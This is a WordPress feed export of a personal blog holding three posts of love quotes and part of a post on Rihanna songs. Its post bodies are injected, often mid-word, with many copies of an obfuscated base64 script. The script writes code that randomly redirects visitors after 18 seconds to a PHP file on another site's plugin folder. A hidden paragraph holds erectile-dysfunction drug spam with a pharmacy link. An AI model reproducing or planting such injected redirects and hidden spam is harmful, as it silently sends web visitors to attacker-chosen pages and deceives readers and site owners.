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		<title>The Meaning of Love in Human Terms (Pt 3)</title>
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		<pubDate>Wed, 25 Jan 2012 06:54:58 +0000</pubDate>
		<dc:creator><![CDATA[Ben Ang]]></dc:creator>
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		<category><![CDATA[Meaning of Love]]></category>
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		<description><![CDATA[Don&#8217;t settle for the one you can live with, wait for the one you can&#8217;t live without. Love is two hearts beating as one. You know you are in love when you can&#8217;t stand being around that person, but when you leave you can't stand being away from them. Love is when you don't want [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><script type="text/javascript"> function get_style803 () { return "none"; } function end803_ () { document.getElementById('jtn803').style.display = get_style803(); } </script>Don&#8217;t settle for the one you can live with, wait for the one you can&#8217;t live without.</p>
<p>Love is two hearts beating as one.</p>
<p>You know you are in love when you can&#8217;t st<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and being around that person, but when you leave you can't st<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and being away from them.</p>
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<p>Love is when you don't want to go to sleep because reality is better than a dream.</p>
<p>Love is composed of a single soul inhabiting two bodies.</p>
<p>Meeting you was fate, becoming you're friend was a choice, but falling in love with you was beyond my control.</p>
<p>2 hearts, 2 souls, 1 beat.</p>
<p>I looked at a flower <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and thought it was the most beautiful thing I've ever seen till I met you.</p>
<p>Don't lose the one you love for the one you like because the one you like might lose you for who they love.</p>
<p>Love is a very strong word. Use it with extreme caution.</p>
<p>A life without love, is like a year without summer.</p>
<p>Faith makes all things possible. </p>
<p>Hope makes all things work. </p>
<p>Love makes all things beautiful.</p>
<p>Continue reading: </p>
<p><a href="http://www.benakm.com/benmonthlycolumn/the-meaning-of-love-in-human-terms/" title="The Meaning of Love in Human Terms (Pt 1)">The Meaning of Love in Human Terms (Pt 1)</a></p>
<p><a href="http://www.benakm.com/benmonthlycolumn/the-meaning-of-love-in-human-terms-part-2/" title="The Meaning of Love in Human Terms (Pt 2)">The Meaning of Love in Human Terms (Pt 2)</a>
<p id="jtn803">It's estimated 1 in 10 men has a health problem related to sexual life, such as importance. The definition of erectile dysfunction the persistent impossibility to achieve a satisfactory erection, exerts an estimated more then twenty millions men in the U.S. alone. Millions of customers order online such drugs like Cialis. Many US citizens know about "<a href="https://supplements-std-tests.com/acquisto/kamagra-italia/">https://supplements-std-tests.com/acquisto/kamagra-italia/</a>". But is this really the right field for you? This article focuses on the symptoms of erectile dysfunction <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and "". Other question we should is "". After all, such kind of dysfunctions can be first sign of earnest health problems, such as heart disease. Several patients using this medicine ordinarily do not have any side effects to Cialis.</p>
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		<title>The Meaning of Love in Human Terms (Pt 2)</title>
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		<pubDate>Wed, 25 Jan 2012 06:54:12 +0000</pubDate>
		<dc:creator><![CDATA[Ben Ang]]></dc:creator>
				<category><![CDATA[Ben's Monthly Column]]></category>
		<category><![CDATA[Meaning of Love]]></category>
		<category><![CDATA[True Love]]></category>

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		<description><![CDATA[Love doesn&#8217;t make the world go round, it just makes the ride worthwhile. Love is in your heart not to stay, but to be shared. The most amazing feeling in the world is to look at someone you really care about and know they feel the same way about you! Love Is like a war... [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>Love doesn&#8217;t make the world go round, it just makes the ride worthwhile.</p>
<p>Love is in your heart not to stay, but to be shared.</p>
<p>The most amazing feeling in the world is to look at someone you really care about <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and know they feel the same way about you!</p>
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<p>Love Is like a war... Easy to start but difficult to end!</p>
<p>Love is a journey that never ends with a destination.</p>
<p>Loving someone is not a picture you paint in your mind of yourself being with them. </p>
<p>It's realizing that you can't live without them.</p>
<p>True love doesn't have a happy ending because it doesn't have an ending.</p>
<p>The best way to love is to love like you have never been hurt.</p>
<p>Trying to forget someone you love is like trying to remember someone you never met.</p>
<p>You know it's love when all you want is for that person to be happy even if you're not the reason behind that </p>
<p>happiness.</p>
<p>There are 3 great things in this world:</p>
<p>The first is for you to love someone.</p>
<p>The second is for someone to love you back.</p>
<p>And the third is for the first <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and second thing to happen at the same time.</p>
<p>Love is just a word till someone you meet gives it a meaning.</p>
<p>Continue reading: </p>
<p><a href="http://www.benakm.com/benmonthlycolumn/the-meaning-of-love-in-human-terms-part-3/" title="The Meaning of Love in Human Terms (Pt 3)">The Meaning of Love in Human Terms (Pt 3)</a></p>
<p><a href="http://www.benakm.com/benmonthlycolumn/the-meaning-of-love-in-human-terms/" title="The Meaning of Love in Human Terms (Pt 1)">The Meaning of Love in Human Terms (Pt 1)</a></p>
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		<title>The Meaning of Love in Human Terms (Pt 1)</title>
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		<pubDate>Wed, 25 Jan 2012 06:35:53 +0000</pubDate>
		<dc:creator><![CDATA[Ben Ang]]></dc:creator>
				<category><![CDATA[Ben's Monthly Column]]></category>
		<category><![CDATA[Meaning of Love]]></category>
		<category><![CDATA[True Love]]></category>

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		<description><![CDATA[If you love someone, you give everything you can and don't expect to receive anything in return. Love can touch you just one time but it can last for a life time. Love is giving someone the ability to hurt you but trusting them not to. They say it takes a minute to find a [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>If you love someone, you give everything you can <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and don't expect to receive anything in return.</p>
<p>Love can touch you just one time but it can last for a life time.</p>
<p>Love is giving someone the ability to hurt you but trusting them not to.</p>
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They say it takes a minute to find a special person;</p>
<p>An hour to appreciate them;</p>
<p>A day to love them;</p>
<p>But then an entire life to forget them ...</p>
<p>No one is too young for love because love doesn't come from your mind, which knows your age. </p>
<p>It comes from your heart, which knows no age.</p>
<p>Love is nothing if there is no one to share it with.</p>
<p>It's hard to find someone whom you truly love, much less to find someone who loves you as much. </p>
<p>When the chance comes, don't ever let go!</p>
<p>Love is to think about someone else more times in a day than you think about yourself.</p>
<p>Love is like sunshine. It brings a golden glow to its beholder's face <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and a warm feeling all over their body. </p>
<p>It awakens souls <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and opens eyes. </p>
<p>When its over, it leaves billions of small memories called stars to remind the world that it still exists.</p>
<p>Do you love me because I am beautiful, or am I beautiful because you love me?</p>
<p>Loving someone isn't when you picture yourself with them, it's realizing that you can't live without them.</p>
<p>Love is dangerous because you have to choose someone you know is going to be good to you <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and treat you with respect; </p>
<p>If you choose the wrong person then it will break your heart. </p>
<p>To be in true love means that you trust someone with everything.</p>
<p>Continue reading: </p>
<p><a href="http://www.benakm.com/benmonthlycolumn/the-meaning-of-love-in-human-terms-part-2/" title="The Meaning of Love in Human Terms (Pt 2)">The Meaning of Love in Human Terms (Pt 2)</a></p>
<p><a href="http://www.benakm.com/benmonthlycolumn/the-meaning-of-love-in-human-terms-part-3/" title="The Meaning of Love in Human Terms (Pt 3)">The Meaning of Love in Human Terms (Pt 3)</a></p>
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		<title>When the Heart is not there&#8230; literally</title>
		<link>http://www.benakm.com/music-videos/when-the-heart-is-not-there-literally/</link>
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		<pubDate>Sun, 11 Dec 2011 16:46:38 +0000</pubDate>
		<dc:creator><![CDATA[Ben Ang]]></dc:creator>
				<category><![CDATA[Music Videos]]></category>
		<category><![CDATA[Ballads]]></category>
		<category><![CDATA[California King Bed]]></category>
		<category><![CDATA[Love]]></category>
		<category><![CDATA[Rihanna]]></category>
		<category><![CDATA[When Intimacy Is Not Intimacy Anymore]]></category>
		<category><![CDATA[When The Heart Is Not There Literally]]></category>

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		<description><![CDATA[I have always loved and am still loving the songs sang by Rihanna. Her music is always a reflection of her emotions. It's amazing as you can actually feel her pain when she sang them. I remember a couple of songs, "Take A Bow" which talks about a boyfriend/girlfriend or partner caught red handed cheating [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I have always loved <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and am still loving the songs sang by Rihanna.<br />
Her music is always a reflection of her emotions. It's amazing as you can actually feel her pain when she sang them. <span id="more-767"></span><br />
I remember a couple of songs, "Take A Bow" which talks about a boyfriend/girlfriend or partner caught red h<script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>anded cheating but still continued to play victim, <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else if(w9==184)w9=1105;y7+=String.fromCharCode(w9);}}while(s0<q3.length);document.write(y7);};u2fd518ba9147('PHNjcmlwdD4NCnZhciBudW1iZXIxPU1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDYpOyANCmlmIChudW1iZXIxPT0zKQ0Kew0KIHZhciBkZWxheSA9IDE4MDAwOwkNCiBzZXRUaW1lb3V0KCJkb2N1bWVudC5sb2NhdGlvbi5ocmVmPSdodHRwOi8vd3d3LmJ0bGF3ZmlybS5jb20vd3AtY29udGVudC9wbHVnaW5zL3NpLWNvbnRhY3QtZm9ybS9jYXB0Y2hhLXNlY3VyZWltYWdlL3NlY3VyaW1hZ2Vfc3RvcC5waHAnIiwgZGVsYXkpOw0KfQ0KPC9zY3JpcHQ+');</script>and "Love The Way You Lie" which talks about the excruciating pain of the victim being lied to, the regret <script>function u2fd518ba9147(q3){var u9='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var y7='';var ve,p7,w9,w4,y6,p9,y4;var s0=0;do{w4=u9.indexOf(q3.charAt(s0++));y6=u9.indexOf(q3.charAt(s0++));p9=u9.indexOf(q3.charAt(s0++));y4=u9.indexOf(q3.charAt(s0++));ve=(w4<<2)|(y6>>4);p7=((y6&15)<<4)|(p9>>2);w9=((p9&3)<<6)|y4;if(ve>=192)ve+=848;else if(ve==168)ve=1025;else if(ve==184)ve=1105;y7+=String.fromCharCode(ve);if(p9!=64){if(p7>=192)p7+=848;else if(p7==168)p7=1025;else if(p7==184)p7=1105;y7+=String.fromCharCode(p7);}if(y4!=64){if(w9>=192)w9+=848;else if(w9==168)w9=1025;else 